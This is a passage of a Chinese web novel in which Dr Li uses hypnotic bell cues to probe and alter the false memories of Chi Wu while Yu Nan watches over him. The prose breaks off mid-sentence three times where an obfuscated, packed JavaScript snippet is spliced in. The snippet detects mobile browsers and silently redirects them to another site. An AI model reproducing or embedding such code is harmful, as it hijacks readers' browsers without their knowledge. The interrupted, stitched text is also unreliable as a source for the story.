如果迟雾当时在梦里喊的是院长,温程安都能认为他是在梦里短暂地捕捉了记忆碎片。但大浪淘沙,如何淘都不该是先淘到河底,除非他始终泡在河水里没上来过。 温程安甚至在过去三年想过无数次迟雾被记忆替换的真实性,如果是假,那他又为何要做假,温程安绞尽脑汁,只能想到一个原因—— 迟雾这个展品只想被锁在金钱堆砌的高台上了。 他不再需要那一丁点儿冰城里的火苗。 温程安一直觉得,人面对世界上所有东西都可以故作姿态,得不到而贪求,近可及而不屑。但金钱是万物之上的东西,因为它就是贪念本身,得到一点儿,就开始贪恋更多,开始不知足地索求。 他觉得迟雾不是那样的人。 但是他很久没和迟雾说过话了。 温程安望着远方的街道。 医院门口有不少冒着被拘留的风险也要谋财的商贩,甚至还有些违背良心发着缺德财。 这就是钱的能力。 人也很奇怪。 总是找准一个方向就开始钻牛角尖。 温程安又说:“他现在接近你,或许是想继续接触你,又不想再次承认之前的孤儿过往。” 他这句话落,一巴掌就挨到了脸上。 被冻久了,连被打都没什么感觉。 温程安偏着脸,视线也被扇得砸到了地上。 他盯着地面,慢慢地回正了脸。 果然。 预期中于南那冷漠的神情出现了。 他被那话刺痛了。 他也在害怕吧。 温程安这才有种踏实的感觉。 又开始了。 惧怕一切偏离猜测的轨道。 于南的手垂在腿侧,轻微地抖着,抖动幅度实在很小,哪怕温程安就站在他身侧也没发现。 他把手揣到兜里,闭了闭眼。 于南不想找任何人,他只想找个地方安静地坐会儿。因为他也不知道出迟雾究竟能不能恢复记忆,恢复记忆后又有什么反应。 直到现在,他都不敢深猜迟雾离开的真正原因到底是什么。 真的是觉得他没了他会更好吗。 于南就像没了方向的鸟,他不知道该往哪儿飞,该落在哪儿。而温程安就像是一条勉强连接着过去的小路。 于南说:“抱歉。” 温程安“嗯”了一声。 于南又点了根烟,这次他不打算主动说些什么,只是往一旁没有光亮的角落里缩了缩,用这种方式打发着等待的时间。 半晌,他又想起什么,说:“别再去我租的地下室,里面有很多监控。” 温程安点了点头,顺势问:“是迟家安的?” “可能。”于南说,“张民杨找过来了,大概率就是迟家安的。” 只有钱才能驱使张民杨,而迟家往往出手大方。 温程安说:“知道了。” 于南看他眼,终于开口说:“迟雾经常做噩梦,他梦里会出现过去孤儿院里的事儿,但只有一点模糊的片段,他很害怕。” 一点片段就害怕,那如果全部记起来呢。 噩梦成了过往曾经。 恐惧的一切成了亲身经历。 又该如何呢。 温程安有些动摇。 哪怕迟雾真的是在装失忆,他也绝对不忍心在于南面前说出“害怕”这两个字。如果害怕过去,那存在在他过去的于南又该怎么想。 迟雾不会想不到这点的。 温程安又不想更改自己的猜测。 如果迟雾真的是记忆被替换。 那好像,他预测的迟雾会得到的幸福也成了场痴人说梦的笑话,而他则成了将迟雾逼上这条路的真凶。 是死刑犯。 温程安没说话。 两人之间明明如此近距离,却恍若阻隔着一座寂静的空城,只有那座空城的主人回来了,他们才会踏足彼此的区域。 风吹得两人都麻木了。 于南才从口袋里伸出缓过来的手,这次,他手里多了张卡。 温程安认得,这张卡于南入狱前拜托他办的,里面存的是于南那年赚的所有钱,总共四万两千元,其中两千是于南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253288|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他的帮忙费,但他没要,后来卡被他埋在了张民杨家三条街外的老槐树下,没想到于南已经找出来了。 于南把卡递给温程安。 温程安看他一眼,没动。 于南的手被风一吹,又开始抖。 但他庆幸,抖的是拿烟的那只手,还能往下藏藏。 于南说:“之前你跟踪我,我在你身上安了监听器。” 温程安从未发觉,听他这么一说,觉得自己身上的寒毛瞬间起来了。 这就是他为什么始终跟于南之间隔着层隔膜。 于南太狡诈,对谁都没真心,他不会对有价值的人另眼相看,只会加以算计。 温程安找他也不过是为了三年前他入狱的事。 温程安从未想过自己身上有什么值得算计的东西,但如今单单“监听器”三个字就足够他心凉一片。 他的价值,就是他能和迟雾接触,在于南无法触及的地方。 于南又把银行卡往前递了递,他平静地说:“我听见了,是迟雾打了你,我暂且只有这么多钱,先赔偿你一部分。” 温程安没忍住往后退了退。 两人对视着。 最后。 温程安率先别开眼,他冷着声音说:“迟家已经给过了,比这多得多。” “知道。”于南却没收回手,兀自说:“那是他们替迟家的迟雾给的,我是替我的迟雾给的。” “你的迟雾?”温程安到底还是没维持住冷静的假面,他嗤笑了声,一针见血道:“迟雾选择迟家的时候可没失忆,他早就是迟家的迟雾了,至于你于南,你从来都是什么都没有。” 一字一句像根根细针往心里钻,扎得人血肉模糊。 于南拿卡的那只手也开始抖。 抖的幅度越来越大。 或许是天太冷了,齿根也开始发酸。 两人僵持着。 在手抖得即将连那轻薄的银行卡都拿不住时,于南把手收回去了。 他脸上一点儿表情都没有,愤怒、不虞通通都没有,仿佛成冰的死水,连片波纹都掀不起来。 温程安先说:“我回去了。” 他走出几步,又停住脚步,扭过头看于南。 绮丽灯光下的那张脸衬得如此惨淡,身子单薄瘦削得仿佛早就垮下去了,只不过还被里面的骨架硬撑起分脆弱的体面。 过往几天突如其来的美好成了被戳破的泡沫,一切忧虑都乘着风再次卷来。 于南一直都知道,装傻的人总会被人拆穿的。 他一直都知道。 温程安觉得他这几年唯一的长进,就是心硬了,哪怕面对曾经想模仿的好学生,也知道该怎么不留情面的批判了。 但长进很小。 他还是冷声说了一句:“如果迟雾真的被替换了记忆,那打我的也是迟家的‘迟雾’,用不着你来赔,你的钱攒着去赎回你的迟雾吧。” 温程安头也不回地走了。 但走到半路,他又想起那所谓的治疗。 治疗。 换回记忆。 那几年前的迟雾也会回来吗。 其实现在的迟雾也很好。 至少没那么小心翼翼了。 但总归不是真正的迟雾。 是假的。 温程安呼出口冷气。 天越来越冷了。 至于于南说的监听器。 算了,就那么放着吧。 总归有东西陪着他了。 54.第 54 章 迟雾的梦被快速推进,里面的一点一滴都随着太阳升起落下而往前赶,膨胀的记忆在大脑里来回冲撞,他脸上表情逐渐皱起来,身子也稍微抖着,看起来难受极了。 李医生看了眼漏斗里的沙子,只剩下还剩下一大半,看来这次进度比预想的要快。 她盯着玻璃那端的迟雾,视线冷静地在衡量着变数从何而来。 药。 迟雾少服了药。 李医生的指节敲击着座椅扶手。 一下。 两下。 三下。 他少服了几次? 两次或三次? 大概也只能少服用这么多次了。 看来他对药产生的抗性要比想象中强得多。 药对记忆的压制比原来小了不少。 李医生呼出口气。 看来又要调配新的药剂了。 李医生站起身,走到迟雾的房间,手里拿着那个铜质按铃。 她关上门,顺便反锁了一道,才靠着房门,隔着不近不远的距离观察着房间中央的人儿。 迟雾的眉头越皱越紧,随着面部肌肉的拉扯,额头上伤口也被扯开,浅浅一层红从绷带下浮上来。 或许是被□□疼痛刺激,他的身体倏地剧烈地抖了下,就像被某种电击刺着了。 李医生思忖两秒,脑海里闪过无数种计划。 现在她的决策将影响她接下来的站队。 于南? 他没钱。 迟家? 骗了她。 李医生垂眸看着铜铃表面自己的倒影。 她的脸映在表面成了扭曲模糊的一团。 丑陋的。 像呲牙咧嘴的怪物。 那么,怪物会咬向谁呢。 良久,她才重新抬起眼,看向迟雾。 怪物能保持理智吗。 或许能,只有保持理智才能有足够的粮食。 李医生的手指按下铜铃。 “叮!” 这声如此清脆地在房间里回荡,如同古钟一遍遍被敲响。 迟雾扭曲的脸瞬间恢复平和,好像被人抽空了灵魂,彻底沦为无意识的提线木偶。 李医生缓慢走进,她蹲下身,那姿势有些像方才于南来看望迟雾的姿势,她在以他的视角看迟雾。 这个视角下的迟雾是什么样的呢? 明明近在咫尺,却以全白天花板为背景,仿佛悬浮在不可触及的天边,他就那样晕着,感受不到任何事物,如同与世界剥离开的天神,可他不慈悲,只是没有尽头的安静。 哪怕有只瘸腿流着血的鸟飞到肩头,他也不会给予任何回应,因为他被剥离了感官。 而被剥夺记忆其实与剥夺感官无异。 他一直是借着别人的记忆活着,如同寄居在别人体内的傀儡,感官都是别人的。 真可怜啊。 李医生也不知道自己是在说迟雾还是于南,或许两者皆有。 但其实也没什么值得可怜的。 这是他们的选择不是吗。 老天只不过起到了个助推的作用。 李医生站起身,一只手插在兜里,居高临下地看着迟雾那低垂的脑袋,她低声开口道:“迟雾。” 而后,她停顿三秒。 就在她将要下达命令时,门被敲响了。 不急促,却很重的一声。 李医生笑了声,扭头看向房门。 老天来助推了? 还真是……..好时机啊。 于南面对紧锁的房门,几乎一瞬心脏都被攥起来,他不相信李医生,因为同样的出身,同样不堪的过去,他要知道这种人最擅长什么了—— 他们最擅长给自己留条后路。 或许他该一直守在这儿的。 是李医生那尽心的推测让他降低了警惕心,又或许是他太过紧绷才丢失了应有的防备。 于南又敲了下门。 这次,他还扬声说:“李医生在里面吗?我给你买了热粥,要现在喝吗?一会儿可能就凉……..” 门开了。 李医生扫了眼他空着的手,挑了下眉。 于南的视线却直接从她身上错开,在罅隙里看了眼迟雾。 迟雾脸上一片平和,看不出什么端倪。 于南悬着的心稍微降了降,才调转视线看向李医生,他稍微笑了下,但笑不达眼底,主动说:“抱歉,粥被我吃完了。” 之后,他便直接推开门,从李医生身侧进了房间,他身上浓重的冷气也将李医生的皮肤刮划了遍,像他自己没来得及放出来的刀子。 李医生偏开身子,视线顺着于南往里一拐。 就看见。 于南又用那个姿势蹲到迟雾脚边,一只手抓着迟雾的手掌,拇指还在他手背上蹭了蹭。 像一只守着主人的忠犬。 可惜,这只犬类不太友善,过度狡诈。 李医生意味深长道:“进食速度过快会导致肠胃功能紊乱哦。” 于南头也不回道:“多谢关心,我会注意的。” 李医生看着他的背影,不知作何想法,一时竟就那样沉默地盯着半晌,直到于南扭头看她,她才露出抹挑不出错处的笑,温声说道:“他很快就会醒了。” 说罢,她直接转身离开,不给于南反应时间。 而于南则被这则消息砸得怔了两秒。 很快就醒了? 那醒来之后就全都记得了吗。 不记得怎么办。 记得了又要怎么办。 于南觉得被冻麻的身体迟迟无法回温。 他仰头看着迟雾的脸,良久,他伸出手托住迟雾的下巴,避免他长时间垂着头后醒来脊椎会难受。 于南就像被人钉在十字架上等待宣判刑罚的犯人。 太突然了。 突然的他还没来得及想好对策、想好该以何反应、姿态来面对迟雾。 于南的视线像黏在了迟雾的脸上。 他就那样盯着那双眉眼,舍不得挪开视线。 隔着道玻璃。 李医生观察着这两人,就像在观察某项令人感兴趣的实验数据。她又拿起了桌上那张老相片。 缓慢地,她把照片抬起来,覆盖住视野里玻璃那侧。 以前她也总蹲在妹妹脚边。 片刻后。 李医生放下照片,从口袋里拿出铜铃。 在这个房间里,摁响。 分明隔着道墙,可那头的迟雾就像听见什么声响般,眉头皱了下,而后缓慢舒展,与此同时,那双紧闭的眼也在逐渐睁开。 睫毛遮挡住视野。 明暗交替。 眼前的景象渐渐清晰。 一切分明近在眼前,却恍惚着仿佛隔了好些年。 气味比其他东西更显奔涌进来。 迟雾闻到了很好味的味道,很熟悉的味道。 他转动眸子,看向脚边,就看见于南蹲在他脚边。 他又往上看了看,就看见了两人牵着的手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抹了把眼泪,小心翼翼地擦掉于南脸上沾上去的那片眼泪,才慢慢凑近,在于南脸上亲了一下,说:“你不安慰我吗,于南,安慰安慰我吧,你告诉我你不会死的,你肯定比我活得长,舍不得死在我前面,好不好?” 一吻彻底将于南封印在那儿。 于南看着迟雾那无比熟悉,却又万分陌生的神情。 迟雾在向他索取爱。 强烈的、热烈的爱。 于南说:“好。” 他不管迟雾记忆是否错乱,至少他的记忆完好无损。 他答应的都会遵守。 他记得就好。 于南吞咽下不忍打破假象的私欲,他低声问:“迟雾,你现在都记得什么。” 迟雾愣了下,“我什么都记得啊。” “我刚出院,化疗刚好,你还答应我,等你的脊柱彻底好了,我们就开车去看海,你不记得了?” 迟雾抬手挠了下脑袋,这一挠,他彻底僵住了。 哪来的头发??? 我靠!!!! 迟雾两只手都摸上脑袋,摸到浓密的头发,他神情恍惚了一阵,才喃喃道:“怪不得做噩梦了,于南,你是不是在我睡着时候给我用什么强力增发的禁药了,好费脑子啊……..” 55.第 55 章 李医生一手拿着记录本,看着坐在椅子上的迟雾,她紧锁眉头。 记忆错乱是她预想的结果。 这种方法也是最两全其美的方法。 无论迟家还是于南都能稍加拖延。 但现在看来,好像错乱的,有些偏离。 像是凭空创造了段记忆。 迟雾坐在椅子上,看着李医生,有些没反应过来。 他看着李医生像看见鬼一样,眸底藏着不可忽视的错愕诧异。 李医生出声进行简单询问:“迟雾,你还记得昨天发生了什么吗。” 但迟雾只是一个劲儿地盯着她,咽了下口水,又扭头看了眼于南。 片刻后,他才满脸怪异地四处打量了下,待看清房间布局后,他像泄力般朝椅子上一靠。 “梦还没停啊。”迟雾喃喃道。 听清他的话,李医生看向他的眸色加深。 预料之外的表现。 他怎么会认定是梦? 脑袋里凭空出现的记忆已经被他完全接受,彻底当作现实了吗?从而才将这个真正的世界拨乱到“梦”的定位上去。 李医生拿出仪器,打算对迟雾进行准确测量。 这种情况不是没发生过,但按理来说,有药物加成,还有潜意识的深化,这种凭空捏造记忆的可能性简直是万分之一。 这种发生概率极小却还是出现了的差错,就成了颗石头上的裂痕,而显然,现在的李医生对这道裂痕的来源极其感兴趣。 李医生拿着仪器缓慢靠近,而迟雾看着她的动作,竟直接站起身躲开了。 迟雾往于南身后躲了躲。 李医生停在原地,扭头看着他们。 这时的李医生反倒饶有兴趣地先观察起这两人之间的距离,用视线考究着迟雾心理层面与于南的距离。 真奇怪。 哪怕凭空捏造的记忆,最依赖的也还是同一个人。 无数遍记忆重组扭曲都压不下去的潜意识。 李医生稍微偏移视线,却和于南对视了。 于南始终在盯着她的表情,像是在以此判断迟雾的情况严不严重,她又要做些什么,对迟雾有害与否。 三人就这样僵持着。 直到迟雾伸出手臂,从背后抱住了于南的腰。 很用力,严丝合缝。 迟雾像是完全把李医生当成了隐形人,他把嘴凑到于南耳边,叫了声:“于南,梦里的你也还是这么瘦。” 于南低头看着腰前叠在一起的手掌,他也把手覆上去,如同捉住胡乱扑腾的鸟雀般。但他手搭上去那刻,迟雾就把手指翘起来,插进他指间。 十指紧扣。 “但还好体温没那么凉了。”迟雾小声嘀咕:“热的呢,真好。” 他嘀咕完才把下巴搭到于南肩膀上,抬眼看向李医生。 可触及那道视线时。 李医生发现,有什么东西变了。 迟雾盯着她的眼神如此冷淡,不掺杂任何情绪,仿佛随意地看着一堵没有丝毫存在感的白墙,是个死物。 好像比起她这个治疗病者的医师,他更在乎于南掌心的温度到底有多高,牵在手里有多舒服。 如果这是个梦。 他只在乎梦里的于南。 选择性冷漠。 而聚焦在李医生身上的视线像是不约而同地遵守着个定律。 迟雾看着她。 于南就挪开视线了。 李医生觉得此般情景,她反倒像是那个等待检查的病人,被视线轻慢地审视着。 检查器械拿在掌心,是凉的。 她不喜欢这种眼神。 李医生脸上的笑容也越来越格式化,甚至肉眼可见地变成了礼貌的假笑,是骨架子撑着皮囊。 “迟雾,过来检查。”李医生说。 迟雾却把脸别过去,贴着于南的后脖梗。 “做梦还要检查,还是李医生来检查,真讨厌,明明病已经好了。” 癌症好了,噩梦更是早就不再出现了。 迟雾太讨厌医生了。 仅有的记忆里大半都是治疗、治疗、治疗。 迟雾闷着声音说:“李医生,放过我吧,今年清明节我去给你烧纸行了吧。” 烧纸。 还真是脑子坏掉了。 李医生想。 但迟雾又补充了句:“我会给你妹妹也烧一份的。” 李医生脸上的假笑再也维持不住,就像是被人揪住了逆骨,瞬间全部表情都唰得落了下去,她用冷冰冰的视线死盯着迟雾的脑袋。 “迟雾,过来。”她命令道。 错乱的记忆就该纠正。 否则什么不该出现的情节都要被捏造出来,这个世界就真的完了。 随着她这一声落地,迟雾就觉得自己的脑袋里像是有一万根铁钉在来回横插,疼痛欲裂,他的手也开始细微地抖。 脑袋里只剩片无尽的空白。 视野成了模糊的条纹割裂。 一瞬间。 于南感觉到自己后背上的重量倏地增加。 迟雾瘫压着,全靠着他来支撑自己的站立。 于南冷声提醒:“李医生,他是个病人,记忆完全错乱了,他也认为我死了,甚至可能在他的世界里,全世界只有他一个活人。” 李医生并未理会他,只觑着迟雾。 迟雾的世界天旋地转,他想抓住最后一根救命稻草一样,死死地抓着于南的手。 于南的手掌被他扣出一道见血的红印。 迟雾仅有的意识察觉到自己还在掐着于南的手时,用尽最后一丝力气挣脱他,而后身体脱力地往后倾倒。 “啪!” 他砸到地上,后脑勺着地。 但这么一砸,随着真切疼痛的上涌,他的感知反倒回归了真实世界里来。 视野晃了几秒,便恢复原状。 靠。 梦里怎么也这么疼。 迟雾撑着脑袋,这次又摸到头上的绷带。 他手一顿。 好吧。 梦里也是个不大健全的废物。 看样子是脑袋坏了。 迟雾听见李医生的脚步声逐渐靠近。 他深吸了口气,才坐起来,仰头看着被于南拦住的李医生,语气稍微有了点儿人情味,说:“抱歉李医生,我忘了你死的比较早,看来人死后不会在天堂地狱里团圆,否则你也不会不知道你妹妹的事。” 天知道他这是用了多大的努力,在医院里整天除了对着墙说话就是缠着于南,他的一切和世界正常社交的方式都用来绞尽脑汁地想怎么取悦于南了,冷不丁地进梦里和李医生这个早就死了的人说话,还真有点儿不习惯。 好歹让他出院之后多和正常社会接触两年,都不至于像现在这样,说起话就舌头绊牙齿。 迟雾又想不明白。 李医生进他的梦干什么。 托梦告诉他照顾她妹妹? 未免有点儿太晚了,而且托梦怎么也该是找他哥吧。 毕竟李医生和他哥交情不错。 连李医生的葬礼都是他哥一手安排的。 总归不会是托梦来看看他现在做不做噩梦吧? 那也太奇怪了。 迟雾又有些遗憾地说:“原来人死后不能团聚啊,看来要惜命一点儿了,孤零零的太可怕了。” 他又往上看了看,看清李医生那冷漠的眼神,一时还觉得怪亲切的呢。 在医院里化疗,每天都在走廊里看着别人匆匆而过时随意扔过来的冷漠眼神,这才出院几天,就又在梦里带他回味了遍。 但好在,医院里也不是谁都冷 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她看着于南朝迟雾跑过去的动作,真心实意地开口说了句:“如果有条件的话,建议你精进一下心理学。” 患者就该随身配备个医生。 否则,于南那条腿,早晚跑成风火轮。 李医生这儿常备些基础药品,给迟雾脑袋上的伤上了药,又简单包扎了下。 迟雾却彻底不省人事,成了被随意摆弄的提线木偶。 于南这次寸步不离地守着。 就仿佛刚才的错乱完全是李医生引发的一样,他始终紧盯着她的动作,甚至在她每次出手前都要问一句这是要做什么。 李医生不像治疗患者,像在带学生。 她对迟雾进行了简单检查,但到底人事昏迷的,只能进行些最基础的诊断。 得出来的结论是,看不出什么错处。 到底哪出了差错呢。 李医生等着迟雾醒来。 这一等。 就两个小时过去。 中途。 李医生接到了迟家的电话。 是迟母。 她询问了下情况,想亲自过来。 李医生随便找了个说辞给拂回去了。 之后,她没在办公室待着,而是选择和于南一起守在迟雾身旁。 但她不是出于什么好心或恶意。 她只是想起迟雾的话。 随着时间流逝,神经渐渐冷静,她也开始抽丝剥茧地分析迟雾醒来后说话时的字眼、神态、咬字。 看样子。 迟雾这重造的记忆是个完整的体系。 才会让迟雾从各方面的习惯都快速发生变化。 就像是个和社会剥离开的边缘人。 不对。 更精准形象地来说。 是条被拴在逼仄巷尾的狗。 每天只能看着行人从巷子外匆匆走过,所以它习以为常地漠视,但只有一个人能走进巷子里,所以它朝着这个人犬吠的时候都与面对别人时不尽相同。 而这条狗走不出小巷,却能看见巷口发生的一切事。 它记得每个死掉的人。 那在这个巷口,她又是因为什么死掉的呢? 李医生开始思索她在这个记忆体系内扮演什么角色。 应该与现实世界大差不差。 迟雾面对她的第一反应是条件反射的躲避。 之后才是漠视。 也就是说,他内心逃避的一面要大于冷漠的一面,因为恐惧占了上风。 为什么恐惧? 56.第 56 章 迟雾醒来后明显整个人都恍惚了下。 像是没想到自己还在这儿一样。 梦怎么没醒。 圆形白炽灯在眼前投出圈光环。 像上天堂了一样。 如果没看见光圈后面属于李医生的脸的话。 李医生的语调没什么起伏,平铺直叙:“迟雾,你醒了。” 随着这一句,迟雾感觉耳侧一阵嗡嗡声,仿佛无数只马蜂在绕着他的脑袋飞,吵得人不得安宁,却又不受控制地开始恐惧、焦躁。 于南看见李医生拿出个铜铃,摁了下去。 他在一旁盯着迟雾的反应。 只见,迟雾脸上表情空白一瞬,而后他眨了下眼睛,如同宕机后关机重启般,一切不好的情绪都被清理干净。 李医生伸出手在迟雾面前挥了挥。 迟雾的视线就那样跟着她的手动。 可以了。 李医生收回手,声音压低了些,很轻,几乎是团让人无休止往下陷的棉花,她说:“迟雾,我是谁。” “李医生,李……..” 迟雾声音停顿一秒,在脑海里搜刮李医生的真名,但显然,他失败了,好像从来没人叫过李医生的名字,她只是坚守在医生的职位上,尽职尽责,不掺杂任何私人情绪,也尽可能不泄露更多私人信息。 李医生说:“可以了。” 迟雾点点头,没了那思索的表情。 李医生又问:“我死了吗。” 这种问题说出来是在诡异,但迟雾却毫不犹豫地回答:“死了。” “怎么死的。” “工作过劳,突然猝死。” 李医生简单记录了下。 “你认识我妹妹吗。” 在现实,迟雾和她妹妹完全没有过接触,唯一的交界点也只可能是从她和迟母的偶尔交谈中听见过这号人。 这种边缘角色怎么会出现在混乱的记忆里呢。 又怎么会死掉。 李医生承认自己带了私心。 迟雾说:“自杀。” 李医生的笔一停,两秒后恢复如常。 “为什么自杀。” “我不知道。” 李医生的话终于回归主线。 “于南也死了吗。” “我不知道。” 又是模糊的回答。 李医生换了个问法。 “于南是谁?” “是我的男朋友。” 迟雾停顿了下,几乎不受控制地话多了起来,还带了两分显而易见的雀跃,他扬着尾音说:“于南很漂亮,很温暖,很香,很好,我打算等我们一起出去旅游的时候就跟他求婚,我俩永永远远在一起,他是个孤儿,我爸妈也死了,但我有哥,婚礼就让我哥来置办,以后我俩死了,葬礼也让我哥来置办,毕竟李医生的葬礼都是我哥安排的,他有经验了,肯定能把我和于南埋在土里还保证我俩不被虫子咬,死得舒服些。” 这句话信息含量太大。 李医生挑拣着记录。 这场对记忆的梳理进行了一个晚上,直到凌晨五点才结束。 而对迟雾这重造的记忆世界,李医生觉得精密得有些过分了,不像是大脑混乱后导致的,反倒像是另一位心理医生亲自疏导编造着塞进去的。 而且还格外详细。 她当初将“迟雾”的记忆塞到迟雾的脑袋里都做不到如此精细,顶多也就是对大致结构进行调整刻画,稍微加细些需要推敲的地方,就足够了。 谁能做到这么事无巨细? 李医生想不到还有谁有这本事。 至少。 目前为止,她是唯一有资格接收迟雾的心理医生。 难不成久病成良医,大脑自动编造? 李医生看着病历单上记录的密密麻麻一大片。 这个记忆里的迟雾完全就是现实迟雾的延展,如果中途没有于南的插入,迟雾绝对会再次走上这条路。 混乱记忆中的世界完全经得起推敲。 唯一存疑的可能也就是迟雾所说的那通来自警察的电话。 她找不到那个“于南”自杀的任何原因。 李医生抬眼看向于南,问:“如果是你,你会自杀吗。” 于南知道她指的是在什么情况下。 当即说道:“不会。” 于南伸手摸了摸迟雾的脸,看着那人茫然的无措的神情,感受着他不自觉流露的依赖。 只要迟雾还活着,他就不可能会自杀。 自杀等于主动放弃。 太蠢,太没本事了。 李医生在纸上“于南自杀”四个字上圈了个鲜红的圆圈。 只有这一处表现出些错乱感。 其他的放在现实都完全合理。 真有意思。 至于其他的。 李医生看着纸上写的“迟延宁”三个字。 迟延宁替她安排的葬礼? 迟延宁从不做多余的事。 要他善后,除非是他亲手造的孽。 看来这个记忆世界里,她是被迟总弄死的。 与虎谋皮啊。 笔尖再次移动。 这次点的是“妹妹”两个字。 李医生完全沉浸在自己的世界里。 没人知道她到底要推敲什么。 于南早些年看的那些心理学的书早就在入狱后忘得差不多,现在也就记得些没什么实用的皮毛,此刻根本派不上用场。 他倒希望自己像混乱记忆里的那个于南一样,把心理学给彻底学下来。 那样。 他就能亲自把迟雾从记忆里捞出来。 而不是像现在这样。 被迫的,急促的,往前赶。 迟雾用手揪了揪于南的衣角。 于南注意到,他捏衣角的两根手指甚至都没太紧贴着,像用不上力一样,估计他记忆里在医院里化疗的时候就是这样,无力地揪着他的衣角,然后抬着眼睛看他,等着他哄。 于南发现这种画面很容易就在脑海里浮现出来,甚至把每个细节都自动填补好,他看着迟雾那双手都觉得无形之中瘦下去些。 该多疼啊。 于南俯下身子,问他怎么了。 迟雾已经脱离了必须回答问题的状态,但听见于南的话,他还是条件反射地立刻开口回:“想让你抱抱我。” 但之后,不等于南伸手。 他就先把胳膊伸过去,环住于南的腰,之后顺势把整个上半身都贴过去,彻底把自己塞进了于南的怀里。 于南慢半拍地把腰直起来些,抱住他。 但过了两秒,迟雾又抬起脑袋看他。 “病好了就不亲我了吗。” “只能抱着了吗。” 迟雾太会装可怜了。 他只要想想在医院里身上疼的时候是怎么抖的,说话声音是怎么卡在喉咙那儿出不来的,他就知道该怎么面对于南了。 如果说,明白自己是重新来过后,主动靠近于南的迟雾尚且有两分顾虑,不敢肆意索求,那现在丢失了那部分记忆的迟雾就是彻底伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14266439|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了爪子,一下接着一下地往于南心口上挠。 爪子没那么尖锐,不疼,只是麻痒。 迟雾完全忘了那通电话的事。 他现在只记得眼前的于南。 他稍微仰高了些脑袋,将背也直起来,使耳朵刚好贴在于南的胸口。 之后,他就听见里面的心跳声。 扑通、扑通、扑通。 求爱鸟如何叫,好像就是这样。 “你心跳好快啊。”迟雾慢吞吞地说。 于南能如此清晰地看见他说话时嘴唇的开合,甚至还能隐隐看见躲在牙齿后面的舌尖。 迟雾,开窍了。 会勾引人了。 于南控制着呼吸频率,不快不慢,身体也跟着绷紧。 他干脆别开眼。 别被勾引。 至少,别是现在。 迟雾叫他名字。 “于南。” 于南应声:“我在。” 迟雾听着他的心跳,分明还是那么快,怎么就没个反应呢。 于南变了,从个贴心的男朋友变成故作深沉的男朋友了。 迟雾又想起来。 哦对。 还有李医生在。 于南会害羞。 迟雾将脑袋转过去,看向坐在办公桌后的李医生,出声问:“李医生,你能走开一下吗。” 李医生被他的声音冷不丁地打断思绪,愣了两秒才缓过神,而后消化了会儿那句话的意思,再打量眼面前两人的姿态。 这是……..? 李医生回之温和一笑,说:“不行。” 而后,她撕下张病历单,走过去递给于南。 于南接过,就看见上面写着串号码。 李医生适时开口道:“我的号码,三天后打给我。” 于南瞬间明白过来她是什么意思,当即说道:“我得陪着迟雾,不可能自己走。” 李医生扫了他眼,说:“没让你俩分开。” 她抬手指了指迟雾,“他现在这个状态,不适合立即开展下一次治疗,需要稍加休息,三天后再来,来之前给我打通电话,别碰见什么不该碰见的人。” “对了。”她又提醒了句:“不需要做什么多余的掩饰,迟家那边我会给交代,你只需要带着迟雾回去就好,想怎么生活就怎么生活,这几天应该不会有人打扰你们。” “应该?”于南重复这个字眼。 “毕竟是迟家雇我,我只能尽量。”李医生双手插兜,稍微俯身,凑近了些去查看迟雾的状况。 但她凑近那刻,迟雾却直接把头扭过去。 又开始了。 躲避姿态。 看来是怕医生,排斥她这身白大褂。 李医生直起身子,打了个响指,“迟雾,你还记得自己是谁吗?” 于南一只手扶着迟雾的后脑勺,一只手抱着他的肩背,哪怕迟雾此时晕厥,他也能马上接住。 但迟雾只是往于南的怀里缩了缩。 没动静。 于南疑惑地看向李医生。 李医生笑笑,耸耸肩道:“脱敏试验,看看他的潜意识指令解除没有,总不能让他到外面听到车喇叭声都要晕一下吧。” 说罢,她往后一让,“好了,现在你们可以走了。” 于南盯了她两秒,才将迟雾扶起来。 两人走了。 迟雾始终贴靠着于南的方向。 李医生看着他们的背影彻底消失。 她脸上的笑容也一并消失殆尽。 57.第 57 章 迟雾确实不一样了。 记忆更改的他就像变了个人。 哪怕牵着于南的手也要时不时搞出些小动作,就像是把手当成了摇个不停的尾巴一样,指尖连连刮蹭于南的手背,再用指腹在其上轻缓地打圈摩挲。 很痒。 于南侧眸看了眼两人十指紧扣的手。 又下雪了,雪花从天上飘刮下来,再落到两人贴合的指缝里,快速融化成小滴看不见的水。 风也带着湿漉漉的感觉。 分明两个人的手都冻得发红,却又好像再无止境地冒着热汗。 迟雾走路的时候还总往于南那边挤。 眼看着两人的路越走越偏,几乎要偏转到马路上,偏生迟雾还一点儿自觉都没有,自顾自地接着往身侧那人身上贴。 要是于南身上长出条能够支撑重量的树枝,他肯定立马挂上去。 于南停下脚步。 迟雾也跟着他停住,扭头看他,问:“怎么了?” 迟雾额头上还扎着几层厚绷带,脸被风吹得泛着红,眼眶也有点儿红,看起来可怜巴巴的。 